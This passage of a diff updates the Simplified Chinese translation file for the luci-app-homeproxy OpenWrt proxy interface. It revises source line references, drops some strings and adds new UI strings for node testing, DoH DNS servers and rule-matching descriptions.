htdocs/luci-static/resources/view/homeproxy/client.js:192 +#: htdocs/luci-static/resources/view/homeproxy/client.js:177 msgid "Same as main node" msgstr "保持与主节点一致" @@ -2419,24 +2331,15 @@ msgstr "保持与主节点一致" msgid "Save" msgstr "保存" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1636 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1837 msgid "Save current settings" msgstr "保存当前设置" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1633 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1834 msgid "Save subscriptions settings" msgstr "保存订阅设置" -#: htdocs/luci-static/resources/homeproxy/routing-node.js:17 -#: htdocs/luci-static/resources/view/homeproxy/client.js:462 -msgid "Selector" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:554 -msgid "Selector nodes" -msgstr "Selector 节点" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:1366 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1178 #: htdocs/luci-static/resources/view/homeproxy/server.js:156 msgid "Server" msgstr "服务器" @@ -2455,111 +2358,87 @@ msgstr "当 ClientHello 的 ServerName 字段为空时,选择证书所使用 msgid "Server settings" msgstr "服务器设置" -#: root/usr/share/luci/menu.d/luci-app-homeproxy.json:46 +#: root/usr/share/luci/menu.d/luci-app-homeproxy.json:38 msgid "Service Status" msgstr "服务状态" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1386 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1198 msgid "Set domain strategy for this query." msgstr "为此查询设置域名策略。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:531 +#: htdocs/luci-static/resources/view/homeproxy/node.js:866 msgid "ShadowTLS" msgstr "ShadowTLS" -#: htdocs/luci-static/resources/view/homeproxy/node.js:770 -msgid "ShadowTLS address" -msgstr "ShadowTLS 地址" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:816 -msgid "ShadowTLS masquerade SNI" -msgstr "ShadowTLS 伪装 SNI" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:801 -msgid "ShadowTLS password" -msgstr "ShadowTLS 密码" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:785 -msgid "ShadowTLS port" -msgstr "ShadowTLS 端口" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:823 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1074 msgid "ShadowTLS version" msgstr "ShadowTLS 版本" -#: htdocs/luci-static/resources/view/homeproxy/node.js:530 +#: htdocs/luci-static/resources/view/homeproxy/node.js:865 #: htdocs/luci-static/resources/view/homeproxy/server.js:184 msgid "Shadowsocks" msgstr "Shadowsocks" -#: htdocs/luci-static/resources/homeproxy/tcping.js:214 -msgid "Skipped" -msgstr "跳过" - -#: htdocs/luci-static/resources/homeproxy/tcping.js:329 -msgid "Skipped %d nodes. At most %d nodes can be tested at once." -msgstr "已跳过 %d 个节点,一次最多测试 %d 个节点。" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:840 +#: htdocs/luci-static/resources/view/homeproxy/client.js:651 msgid "Sniffed client type (QUIC client type or SSH client name)." msgstr "嗅探到的客户端类型(QUIC 客户端类型或 SSH 客户端名称)。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:828 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1316 +#: htdocs/luci-static/resources/view/homeproxy/client.js:639 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1128 msgid "" -"Sniffed protocol, see Sniff for details." +"Sniffed protocol, see Sniff for details." msgstr "" "嗅探协议,具体参见 Sniff。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:532 +#: htdocs/luci-static/resources/view/homeproxy/node.js:867 #: htdocs/luci-static/resources/view/homeproxy/server.js:185 msgid "Socks" msgstr "Socks" -#: htdocs/luci-static/resources/view/homeproxy/node.js:834 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1084 msgid "Socks version" msgstr "Socks 版本" -#: htdocs/luci-static/resources/view/homeproxy/node.js:835 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1085 msgid "Socks4" msgstr "Socks4" -#: htdocs/luci-static/resources/view/homeproxy/node.js:836 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1086 msgid "Socks4A" msgstr "Socks4A" -#: htdocs/luci-static/resources/view/homeproxy/node.js:837 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1087 msgid "Socks5" msgstr "Socks5" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1032 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1470 +#: htdocs/luci-static/resources/view/homeproxy/client.js:845 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1282 msgid "Source IP CIDR" msgstr "源 IP CIDR" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1553 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1365 msgid "Source file" msgstr "源文件" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1048 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1487 +#: htdocs/luci-static/resources/view/homeproxy/client.js:861 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1299 msgid "Source port" msgstr "源端口" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1053 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1492 +#: htdocs/luci-static/resources/view/homeproxy/client.js:866 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1304 msgid "Source port range" msgstr "源端口范围" -#: htdocs/luci-static/resources/view/homeproxy/client.js:960 +#: htdocs/luci-static/resources/view/homeproxy/client.js:773 msgid "" "Specifies DNS server tag to use instead of selecting through DNS routing." msgstr "指定使用的 DNS 服务器,而不是通过 DNS 规则选择。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:976 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1028 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1226 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1278 msgid "" "Specifies the period of time (in seconds) after which a health check will be " "performed using a ping frame if no frames have been received on the " @@ -2580,8 +2459,8 @@ msgstr "" "指定闲置客户端应在多长时间(单位:秒)内使用 GOAWAY 帧关闭。PING 帧不被视为活" "动。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:980 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1036 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1230 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1286 msgid "" "Specifies the timeout duration (in seconds) after sending a PING frame, " "within which a response must be received.
If a response to the PING " @@ -2591,54 +2470,34 @@ msgstr "" "指定发送 PING 帧后,在指定的超时时间(单位:秒)内必须接收到响应。
如果在" "指定的超时时间内没有收到 PING 帧的响应,则连接将关闭。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:305 +#: htdocs/luci-static/resources/view/homeproxy/client.js:288 msgid "" "Specify target ports to be proxied. Multiple ports must be separated by " "commas." msgstr "指定需要被代理的目标端口。多个端口必须用逗号隔开。" -#: htdocs/luci-static/resources/homeproxy/tcping.js:13 -msgid "" -"Speed tests use the current runtime configuration. To test all nodes, add " -"them to a running node group with a node regex such as .*" -msgstr "测速基于当前运行配置。若希望所有节点可测速,请通过节点正则 .* 表达式将其加入运行节点组。" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:1123 -msgid "Store RDRC" -msgstr "存储 RDRC" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:1124 -msgid "" -"Store rejected DNS response cache.
The check results of Address " -"filter DNS rule items will be cached until expiration." -msgstr "" -"存储被拒绝的 DNS 响应缓存。
地址过滤 DNS 规则 的检查结果将被" -"缓存直到过期。" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:673 +#: htdocs/luci-static/resources/view/homeproxy/node.js:987 #: htdocs/luci-static/resources/view/homeproxy/server.js:278 msgid "String" msgstr "字符串" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1555 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1755 msgid "Sub (%s)" msgstr "订阅(%s)" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1583 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1789 msgid "Subscription URL-s" msgstr "订阅地址" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1656 -msgid "" -"Subscription update is running. The page will refresh automatically when it " -"finishes." -msgstr "订阅更新进行中,完成后页面会自动刷新。" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1567 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1766 msgid "Subscriptions" msgstr "订阅" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1506 +#: htdocs/luci-static/resources/view/homeproxy/node.js:500 +msgid "Success" +msgstr "成功" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:1706 msgid "Successfully imported %s nodes of total %s." msgstr "成功导入 %s 个节点,共 %s 个。" @@ -2646,12 +2505,8 @@ msgstr "成功导入 %s 个节点,共 %s 个。" msgid "Successfully updated." msgstr "更新成功。" -#: htdocs/luci-static/resources/homeproxy.js:261 -msgid "Suggestion:" -msgstr "建议:" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1466 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1584 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1666 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1790 msgid "" "Support Hysteria, Shadowsocks, Trojan, v2rayN (VMess), and XTLS (VLESS) " "online configuration delivery standard." @@ -2659,98 +2514,94 @@ msgstr "" "支持 Hysteria、Shadowsocks、Trojan、v2rayN(VMess)和 XTLS(VLESS)在线配置交" "付标准。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:220 +#: htdocs/luci-static/resources/view/homeproxy/client.js:205 msgid "" "Support UDP, TCP, DoH, DoQ, DoT. TCP protocol will be used if not specified." msgstr "支持 UDP、TCP、DoH、DoQ、DoT。如未指定则使用 TCP 协议。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:353 +#: htdocs/luci-static/resources/view/homeproxy/client.js:336 msgid "System" msgstr "系统" -#: htdocs/luci-static/resources/view/homeproxy/client.js:423 -#: htdocs/luci-static/resources/view/homeproxy/client.js:476 -#: htdocs/luci-static/resources/view/homeproxy/client.js:967 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1098 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1206 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1373 +#: htdocs/luci-static/resources/view/homeproxy/client.js:406 +#: htdocs/luci-static/resources/view/homeproxy/client.js:458 +#: htdocs/luci-static/resources/view/homeproxy/client.js:780 +#: htdocs/luci-static/resources/view/homeproxy/client.js:911 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1019 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1185 msgid "System DNS" msgstr "系统 DNS" -#: htdocs/luci-static/resources/view/homeproxy/client.js:850 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1159 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1311 +#: htdocs/luci-static/resources/view/homeproxy/client.js:661 +#: htdocs/luci-static/resources/view/homeproxy/client.js:972 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1123 #: htdocs/luci-static/resources/view/homeproxy/server.js:867 msgid "TCP" msgstr "TCP" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1341 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1591 #: htdocs/luci-static/resources/view/homeproxy/server.js:845 msgid "TCP fast open" msgstr "TCP 快速打开" -#: htdocs/luci-static/resources/view/homeproxy/client.js:347 +#: htdocs/luci-static/resources/view/homeproxy/client.js:330 msgid "TCP/IP stack" msgstr "TCP/IP 协议栈" -#: htdocs/luci-static/resources/view/homeproxy/client.js:348 +#: htdocs/luci-static/resources/view/homeproxy/client.js:331 msgid "TCP/IP stack." msgstr "TCP/IP 协议栈。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:837 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1160 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1324 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1183 +#: htdocs/luci-static/resources/view/homeproxy/client.js:648 +#: htdocs/luci-static/resources/view/homeproxy/client.js:973 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1136 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1433 #: htdocs/luci-static/resources/view/homeproxy/server.js:532 msgid "TLS" msgstr "TLS" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1215 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1465 #: htdocs/luci-static/resources/view/homeproxy/server.js:565 msgid "TLS ALPN" msgstr "TLS ALPN" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1190 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1210 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1003 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1460 #: htdocs/luci-static/resources/view/homeproxy/server.js:560 msgid "TLS SNI" msgstr "TLS SNI" -#: htdocs/luci-static/resources/view/homeproxy/client.js:945 +#: htdocs/luci-static/resources/view/homeproxy/client.js:758 msgid "TLS fragment" msgstr "TLS 分片" -#: htdocs/luci-static/resources/view/homeproxy/node.js:967 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1217 #: htdocs/luci-static/resources/view/homeproxy/server.js:413 msgid "TLS is not enforced. If TLS is not configured, plain HTTP 1.1 is used." msgstr "不强制执行 TLS。如未配置 TLS,将使用纯 HTTP 1.1。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:939 -#: htdocs/luci-static/resources/view/homeproxy/client.js:947 +#: htdocs/luci-static/resources/view/homeproxy/client.js:752 +#: htdocs/luci-static/resources/view/homeproxy/client.js:760 msgid "TLS record fragment" msgstr "TLS 记录分片" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1199 -msgid "" -"Tag of a another server to resolve the domain name in the address. Required " -"if address contains domain." -msgstr "" -"用于解析本 DNS 服务器的域名的另一个 DNS 服务器的标签。如果服务器地址包括域名" -"则必须。" +#: htdocs/luci-static/resources/view/homeproxy/client.js:1012 +msgid "Used to resolve DNS server addresses in domain form. IP addresses do not require it." +msgstr "用于解析域名形式的DNS,如:https://dns.alidns.com/dns-query,数字形式则不需要如:https://223.5.5.5/dns-query" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1238 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1051 msgid "Tag of an outbound for connecting to the dns server." msgstr "用于连接到 DNS 服务器的出站标签。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1587 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1399 msgid "Tag of the outbound to download rule set." msgstr "用于下载规则集的出站标签。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1367 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1179 msgid "Tag of the target dns server." msgstr "目标 DNS 服务器标签。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:891 +#: htdocs/luci-static/resources/view/homeproxy/client.js:702 msgid "Tag of the target outbound." msgstr "目标出站标签。" @@ -2759,64 +2610,74 @@ msgid "" "Tell the client to use the BBR flow control algorithm instead of Hysteria CC." msgstr "让客户端使用 BBR 流控算法。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:227 -#: htdocs/luci-static/resources/view/homeproxy/client.js:262 -msgid "Tencent Public DNS (119.29.29.29)" -msgstr "腾讯公共 DNS(119.29.29.29)" +#: htdocs/luci-static/resources/view/homeproxy/client.js:245 +msgid "Tencent Public DNS (DoH)" +msgstr "腾讯 公共DNS (DoH)" -#: htdocs/luci-static/resources/view/homeproxy/client.js:722 +#: htdocs/luci-static/resources/view/homeproxy/node.js:541 +#: htdocs/luci-static/resources/view/homeproxy/node.js:826 +msgid "Test" +msgstr "测试" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:1924 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1928 +msgid "Test Current List" +msgstr "测试当前列表" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:533 msgid "Test URL" msgstr "测试 URL" -#: htdocs/luci-static/resources/view/homeproxy/client.js:178 -#: htdocs/luci-static/resources/view/homeproxy/client.js:207 -#: htdocs/luci-static/resources/view/homeproxy/client.js:742 +#: htdocs/luci-static/resources/view/homeproxy/client.js:163 +#: htdocs/luci-static/resources/view/homeproxy/client.js:192 +#: htdocs/luci-static/resources/view/homeproxy/client.js:553 msgid "Test interval" msgstr "测试间隔" -#: htdocs/luci-static/resources/view/homeproxy/client.js:750 +#: htdocs/luci-static/resources/view/homeproxy/client.js:561 msgid "Test interval must be less or equal than idle timeout." msgstr "测试间隔时间必须小于或等于空闲超时时间。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:184 -#: htdocs/luci-static/resources/view/homeproxy/client.js:213 -#: htdocs/luci-static/resources/view/homeproxy/client.js:758 +#: htdocs/luci-static/resources/view/homeproxy/client.js:169 +#: htdocs/luci-static/resources/view/homeproxy/client.js:198 +#: htdocs/luci-static/resources/view/homeproxy/client.js:569 msgid "Test tolerance" msgstr "测试容差" -#: htdocs/luci-static/resources/homeproxy/tcping.js:156 -msgid "Tested at: %s" -msgstr "测试时间:%s" +#: htdocs/luci-static/resources/view/homeproxy/node.js:498 +#: htdocs/luci-static/resources/view/homeproxy/node.js:541 +msgid "Testing" +msgstr "测试中" -#: htdocs/luci-static/resources/homeproxy/tcping.js:184 -msgid "Testing..." -msgstr "测试中..." +#: htdocs/luci-static/resources/view/homeproxy/node.js:1917 +msgid "Testing Current List..." +msgstr "当前列表测试中..." #: htdocs/luci-static/resources/view/homeproxy/server.js:628 msgid "The ACME CA provider to use." msgstr "使用的 ACME CA 颁发机构。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1088 +#: htdocs/luci-static/resources/view/homeproxy/client.js:901 msgid "The DNS strategy for resolving the domain name in the address." msgstr "解析域名的默认策略。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:716 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1030 #: htdocs/luci-static/resources/view/homeproxy/server.js:308 msgid "The QUIC connection-level flow control window for receiving data." msgstr "用于接收数据的 QUIC 连接级流控制窗口。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:710 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1024 #: htdocs/luci-static/resources/view/homeproxy/server.js:301 msgid "The QUIC stream-level flow control window for receiving data." msgstr "用于接收数据的 QUIC 流级流控制窗口。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:723 +#: htdocs/luci-static/resources/view/homeproxy/client.js:534 msgid "The URL to test." msgstr "用于测试的 URL。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1168 -msgid "The address of the dns server." -msgstr "DNS 服务器的地址。" +#: htdocs/luci-static/resources/view/homeproxy/client.js:981 +msgid "Full URL, e.g. https://dns.alidns.com/dns-query" +msgstr "完整路径 如:https://dns.alidns.com/dns-query" #: htdocs/luci-static/resources/view/homeproxy/server.js:679 msgid "" @@ -2833,49 +2694,21 @@ msgid "" msgstr "" "用于 ACME TLS-ALPN 质询的备用端口; 系统必须将 443 转发到此端口以使质询成功。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:808 -msgid "" -"The default rule uses the following matching logic:
(domain || " -"domain_suffix || domain_keyword || domain_regex || ip_cidr || " -"ip_is_private) &&
(port || port_range) &&
(source_ip_cidr || source_ip_is_private) &&
(source_port || source_port_range) &&
other fields.
Additionally, included rule sets can be considered merged rather " -"than as a single rule sub-item." -msgstr "" -"默认规则使用以下匹配逻辑:
(domain || domain_suffix || " -"domain_keyword || domain_regex || ip_cidr || ip_is_private) &&
(port || port_range) &&
(source_ip_cidr || " -"source_ip_is_private) &&
(source_port || " -"source_port_range) &&
其他字段。此外,包含的所有规则" -"集会被合并而不是独立生效。" +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "In default mode, rule fields are matched by category. Any condition in the same category can match, while different categories must match at the same time. Rule sets are merged into the rule for matching and are not treated as separate sub-rules." +msgstr "默认模式下,规则会按条件类别进行匹配。同一类别内任意条件命中即可,不同类别之间需要同时满足。规则集会合并到当前规则中参与匹配,不会作为独立子规则单独生效。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1287 -msgid "" -"The default rule uses the following matching logic:
(domain || " -"domain_suffix || domain_keyword || domain_regex) &&
(port " -"|| port_range) &&
(source_ip_cidr || source_ip_is_private) &&
(source_port || source_port_range) &&
other fields.
Additionally, included rule sets can be " -"considered merged rather than as a single rule sub-item." -msgstr "" -"默认规则使用以下匹配逻辑:
(domain || domain_suffix || " -"domain_keyword || domain_regex) &&
(port || port_range) &&
(source_ip_cidr || source_ip_is_private) &&
(source_port || source_port_range) &&
其他字段。此外,包含的所有规则集会被合并而不是独立生效。" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:258 +#: htdocs/luci-static/resources/view/homeproxy/client.js:242 msgid "" "The dns server for resolving China domains. Support UDP, TCP, DoH, DoQ, DoT." msgstr "用于解析国内域名的 DNS 服务器。支持 UDP、TCP、DoH、DoQ、DoT。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:488 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1231 +#: htdocs/luci-static/resources/view/homeproxy/client.js:470 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1044 msgid "The domain strategy for resolving the domain name in the address." msgstr "用于解析本 DNS 服务器的域名的策略。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1245 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1495 #: htdocs/luci-static/resources/view/homeproxy/server.js:587 msgid "" "The elliptic curves that will be used in an ECDHE handshake, in preference " @@ -2888,17 +2721,17 @@ msgid "" "account." msgstr "创建或选择现有 ACME 服务器帐户时使用的电子邮件地址。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:953 +#: htdocs/luci-static/resources/view/homeproxy/client.js:766 msgid "" "The fallback value in milliseconds used when TLS segmentation cannot " "automatically determine the wait time." msgstr "当 TLS 分段无法自动确定等待时间时使用的回退值(单位:毫秒)。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:766 +#: htdocs/luci-static/resources/view/homeproxy/client.js:577 msgid "The idle timeout in seconds." msgstr "空闲超时时间(单位:秒)。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1237 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1487 #: htdocs/luci-static/resources/view/homeproxy/server.js:579 msgid "The maximum TLS version that is acceptable." msgstr "可接受的最高 TLS 版本。" @@ -2913,32 +2746,28 @@ msgstr "允许对等点打开的 QUIC 并发双向流的最大数量。" msgid "The maximum time difference between the server and the client." msgstr "服务器和客户端之间的最大时间差。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1229 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1479 #: htdocs/luci-static/resources/view/homeproxy/server.js:571 msgid "The minimum TLS version that is acceptable." msgstr "可接受的最低 TLS 版本。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:141 +#: htdocs/luci-static/resources/view/homeproxy/client.js:113 #: htdocs/luci-static/resources/view/homeproxy/server.js:130 -msgid "The modern ImmortalWrt proxy platform for ARM64/AMD64." -msgstr "为 ARM64/AMD64 设计的现代 ImmortalWrt 代理平台。" +msgid "OpenWrt-designed Sing-box proxy management platform. It is recommended to disable Dnsmasq DNS redirection." +msgstr "Openwrt设计的Sing-box代理管理平台,建议Dnsmasq的DNS重定向去勾。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:495 +#: htdocs/luci-static/resources/view/homeproxy/client.js:477 #: htdocs/luci-static/resources/view/homeproxy/server.js:875 msgid "The network interface to bind to." msgstr "绑定到的网络接口。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1178 -msgid "The path of the DNS server." -msgstr "DNS 服务器的路径。" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1279 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1529 msgid "" "The path to the ECH config, in PEM format. If empty, load from DNS will be " "attempted." msgstr "PEM 格式的 ECH 配置路径。如果为空,将尝试从 DNS 加载。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1258 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1508 msgid "The path to the server certificate, in PEM format." msgstr "服务端证书路径,需要 PEM 格式。" @@ -2946,20 +2775,14 @@ msgstr "服务端证书路径,需要 PEM 格式。" msgid "The port must be unique." msgstr "必须是唯一端口。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1173 -msgid "The port of the DNS server." -msgstr "DNS 服务器的端口。" +#: htdocs/luci-static/resources/view/homeproxy/client.js:986 +msgid "Leave empty to use the default port." +msgstr "留空则表示使用默认端口。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1427 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1239 msgid "The response code." msgstr "响应代码。" -#: htdocs/luci-static/resources/view/homeproxy/backup.js:164 -msgid "" -"The rollback archive for the previous HomeProxy configuration has been saved " -"to %s." -msgstr "恢复前的 HomeProxy 配置回滚包已保存到 %s。" - #: htdocs/luci-static/resources/view/homeproxy/server.js:776 msgid "The server private key, in PEM format." msgstr "服务端私钥,需要 PEM 格式。" @@ -2968,25 +2791,25 @@ msgstr "服务端私钥,需要 PEM 格式。" msgid "The server public key, in PEM format." msgstr "服务端公钥,需要 PEM 格式。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:502 +#: htdocs/luci-static/resources/view/homeproxy/client.js:484 msgid "" "The tag of the upstream outbound.
Other dial fields will be ignored when " "enabled." msgstr "上游出站的标签。
启用时,其他拨号字段将被忽略。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:179 -#: htdocs/luci-static/resources/view/homeproxy/client.js:208 -#: htdocs/luci-static/resources/view/homeproxy/client.js:743 +#: htdocs/luci-static/resources/view/homeproxy/client.js:164 +#: htdocs/luci-static/resources/view/homeproxy/client.js:193 +#: htdocs/luci-static/resources/view/homeproxy/client.js:554 msgid "The test interval in seconds." msgstr "测试间隔时间(单位:秒)。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:185 -#: htdocs/luci-static/resources/view/homeproxy/client.js:214 -#: htdocs/luci-static/resources/view/homeproxy/client.js:759 +#: htdocs/luci-static/resources/view/homeproxy/client.js:170 +#: htdocs/luci-static/resources/view/homeproxy/client.js:199 +#: htdocs/luci-static/resources/view/homeproxy/client.js:570 msgid "The test tolerance in milliseconds." msgstr "测试容差时间(单位:毫秒)。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:987 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1237 #: htdocs/luci-static/resources/view/homeproxy/server.js:465 msgid "" "The timeout (in seconds) that after performing a keepalive check, the client " @@ -2996,46 +2819,15 @@ msgstr "" "经过一段时间(单位:秒)之后,客户端将执行 keepalive 检查并等待活动。如果没有" "检测到任何活动,则会关闭连接。" -#: htdocs/luci-static/resources/view/homeproxy/backup.js:129 -msgid "" -"The uploaded backup file contains the following HomeProxy source " -"configuration. Restoring it will overwrite the current HomeProxy settings, " -"custom direct/proxy lists, and uploaded certificates and private keys." -msgstr "" -"上传的备份文件包含下面这些 HomeProxy 源配置。恢复会覆盖当前 HomeProxy 设置、" -"自定义直连/代理列表,以及已上传的证书和私钥。" - -#: htdocs/luci-static/resources/view/homeproxy/backup.js:126 -msgid "The uploaded backup file is invalid." -msgstr "上传的备份文件无效。" - -#: htdocs/luci-static/resources/homeproxy.js:255 -msgid "" -"These diagnostics are from the last configuration generation or subscription " -"update (%s). Re-apply, restart the service, or update subscriptions again " -"after fixing them to refresh diagnostics." -msgstr "" -"以下诊断来自上次配置生成或订阅更新(%s)。修复后请重新应用、重启服务或重新更" -"新订阅以刷新诊断。" - -#: htdocs/luci-static/resources/homeproxy.js:256 -msgid "" -"These diagnostics are from the last configuration generation or subscription " -"update. Re-apply, restart the service, or update subscriptions again after " -"fixing them to refresh diagnostics." -msgstr "" -"以下诊断来自上次配置生成或订阅更新。修复后请重新应用、重启服务或重新更新订阅" -"以刷新诊断。" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1223 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1619 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1473 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1825 msgid "" "This is DANGEROUS, your traffic is almost like " "PLAIN TEXT! Use at your own risk!" msgstr "" "这是危险行为,您的流量将几乎等同于明文!使用风险自负!" -#: htdocs/luci-static/resources/view/homeproxy/node.js:897 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1147 msgid "" "This is the TUIC port of the UDP over TCP protocol, designed to provide a " "QUIC stream based UDP relay mode that TUIC does not provide." @@ -3043,26 +2835,21 @@ msgstr "" "这是 TUIC 的 UDP over TCP 协议移植, 旨在提供 TUIC 不提供的基于 QUIC 流的 " "UDP 中继模式。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:228 -#: htdocs/luci-static/resources/view/homeproxy/client.js:263 -msgid "ThreatBook Public DNS (117.50.10.10)" -msgstr "微步在线公共 DNS(117.50.10.10)" +#: htdocs/luci-static/resources/view/homeproxy/client.js:244 +msgid "ThreatBook Public DNS (DoH)" +msgstr "微步 公共DNS (DoH)" -#: htdocs/luci-static/resources/view/homeproxy/node.js:108 -msgid "Timed out waiting for subscription update to finish." -msgstr "等待订阅更新完成超时。" - -#: htdocs/luci-static/resources/homeproxy/tcping.js:202 +#: htdocs/luci-static/resources/view/homeproxy/node.js:502 msgid "Timeout" msgstr "超时" -#: htdocs/luci-static/resources/view/homeproxy/client.js:933 +#: htdocs/luci-static/resources/view/homeproxy/client.js:746 msgid "" "Timeout for UDP connections.
Setting a larger value than the UDP timeout " "in inbounds will have no effect." msgstr "UDP 连接的超时时间。
